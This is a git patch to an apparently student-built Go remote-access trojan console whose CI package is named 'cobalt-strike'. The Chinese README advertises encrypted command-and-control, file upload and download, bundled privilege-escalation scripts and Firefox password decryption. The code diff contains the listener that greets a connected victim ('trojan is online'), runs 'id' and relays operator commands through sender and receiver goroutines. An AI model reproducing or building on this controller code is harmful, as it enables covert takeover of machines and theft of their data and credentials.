From 5c46423e872158be1b9e4d7e2a4da278ea9b2705 Mon Sep 17 00:00:00 2001 From: Smart-SangGe <2251250136@qq.com> Date: Mon, 1 Aug 2022 11:30:11 +0800 Subject: [PATCH] update readme and go.mod --- .gitlab-ci.yml | 4 +- README.md | 9 +++- console.go | 137 ++++++++++++++++++++++++------------------------- go.mod | 3 ++ 4 files changed, 79 insertions(+), 74 deletions(-) create mode 100644 go.mod diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index bfc54b6..e1b68f8 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -2,10 +2,10 @@ variables: # Package version can only contain numbers (0-9), and dots (.). # Must be in the format of X.Y.Z, i.e. should match /\A\d+\.\d+\.\d+\z/ regular expresion. # See https://docs.gitlab.com/ee/user/packages/generic_packages/#publish-a-package-file - PACKAGE_VERSION: "1.2.3" + PACKAGE_VERSION: "1.2.4" LINUX_AMD64_BINARY: "console-${PACKAGE_VERSION}" PACKAGE_REGISTRY_URL: "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/cobalt-strike/${PACKAGE_VERSION}" - CI_COMMIT_TAG: "1.2.3" + CI_COMMIT_TAG: "1.2.4" stages: - build diff --git a/README.md b/README.md index 2889db4..4c791fb 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,9 @@ - 通讯实现https - 自定义通讯协议 +### 使用方法 +可以使用go run console.go直接运行,也可以使用go build console.go编译生产二进制文件。在release中也有编译完成的二进制文件可以直接下载使用。 + ### 模块化设计思路 - 服务端控制台与各功能分离,能由控制台统一控制,也能单独使用。 @@ -37,10 +40,14 @@ ### 文件上传下载功能 - 下载时利用dd命令将文件分成与缓冲区大小一致的数据块发送,当接收到数据大小不一致时则判断传输完成 - 上传时利用dd命令bs和count参数指定接收文件大小,这样就可以通过标准输入流写入文件(未测试读写权限问题) +- 提供了downloaded目录用来保存下载好的文件 + +### 提权功能 +- 在privsec文件夹中提供了shell脚本和多种架构的二进制文件,可辅助提权。上传至客户端后运行即可。 ## 参考资料 知识点参考:https://toothsome-cardamom-46e.notion.site/Go-TCP-Cooolin-4d03a3eaed09446bb501826cbbd6bc22 语言参考:https://pkg.go.dev/ 提权脚本参考:https://github.com/carlospolop/PEASS-ng -提权思路参考:book.hacktricks.xyz +提权思路参考:https://book.hacktricks.xyz 浏览器密码解密项目:https://github.com/unode/firefox_decrypt \ No newline at end of file diff --git a/console.go b/console.go index 1fa4212..7aaede5 100644 --- a/console.go +++ b/console.go @@ -22,8 +22,6 @@ func main() { fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|") console() - //listener("tcp", 4444) - //dial("tcp", "127.0.0.1", 4444) } type env struct { @@ -35,73 +33,6 @@ type env struct { var env1 env -// listener function -func listener(port int) { - // Create a listener - var addr net.TCPAddr - addr.IP = net.IPv4(127, 0, 0, 1) - addr.Port = port - listener, err := net.ListenTCP("tcp", &addr) - if err != nil { - fmt.Println("err = ", err) - return - } - fmt.Printf("Listening on local port %d\n", port) - defer listener.Close() - - //var connpool[16] net.TCPConn - //Wait for connection - - conn, err := listener.AcceptTCP() - if err != nil { - fmt.Println("err = ", err) - return - } - fmt.Println("木马已经上线") - - //defer conn.Close() //Close TCP connetcion - - exit := make(chan string, 1) - receive := make(chan int) - sstop := make(chan string) - rstop := make(chan string) - - //Get username - conn.Write([]byte("id\n")) - receiver(*conn) - fmt.Print(env1.username + " > ") - - go func() { - for { - select { - case <-rstop: - return - default: - <-receive - receiver(*conn) - fmt.Print(env1.username + " > ") - } - } - }() - - go func() { - for { - select { - case <-sstop: - return - default: - sender(conn, exit, receive, sstop, rstop) - - } - } - }() - exitsignal := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此 - sstop <- "stop sender" - rstop <- "stop receiver" - fmt.Printf("command: %v\n", exitsignal) - return -} - // 控制台函数 func console() { @@ -202,6 +133,72 @@ func execInput(input string) error { return cmd.Run() } +// listener function +func listener(port int) { + // Create a listener + var addr net.TCPAddr + addr.IP = net.IPv4(127, 0, 0, 1) + addr.Port = port + listener, err := net.ListenTCP("tcp", &addr) + if err != nil { + fmt.Println("err = ", err) + return + } + fmt.Printf("Listening on local port %d\n", port) + defer listener.Close() + + //var connpool[16] net.TCPConn + //Wait for connection + + conn, err := listener.AcceptTCP() + if err != nil { + fmt.Println("err = ", err) + return + } + fmt.Println("木马已经上线") + + //defer conn.Close() //Close TCP connetcion + + exit := make(chan string, 1) + receive := make(chan int) + sstop := make(chan string) + rstop := make(chan string) + + //Get username + conn.Write([]byte("id\n")) + receiver(*conn) + fmt.Print(env1.username + " > ") + + go func() { + for { + select { + case <-rstop: + return + default: + <-receive + receiver(*conn) + fmt.Print(env1.username + " > ") + } + } + }() + + go func() { + for { + select { + case <-sstop: + return + default: + sender(conn, exit, receive, sstop, rstop) + + } + } + }() + exitsignal := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此 + sstop <- "stop sender" + rstop <- "stop receiver" + fmt.Printf("command: %v\n", exitsignal) +} + func dial(host string, port int) { //处理连接参数 var dialaddr net.TCPAddr @@ -260,7 +257,6 @@ func dial(host string, port int) { sstop <- "stop sender" rstop <- "stop receiver" fmt.Printf("command: %v\n", exitsignal) - return } func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) { @@ -370,7 +366,6 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan st } conn.Write([]byte(inp)) receive <- 1 - return } func receiver(conn net.TCPConn) { diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..f6a9b1a --- /dev/null +++ b/go.mod @@ -0,0 +1,3 @@ +module console.go + +go 1.18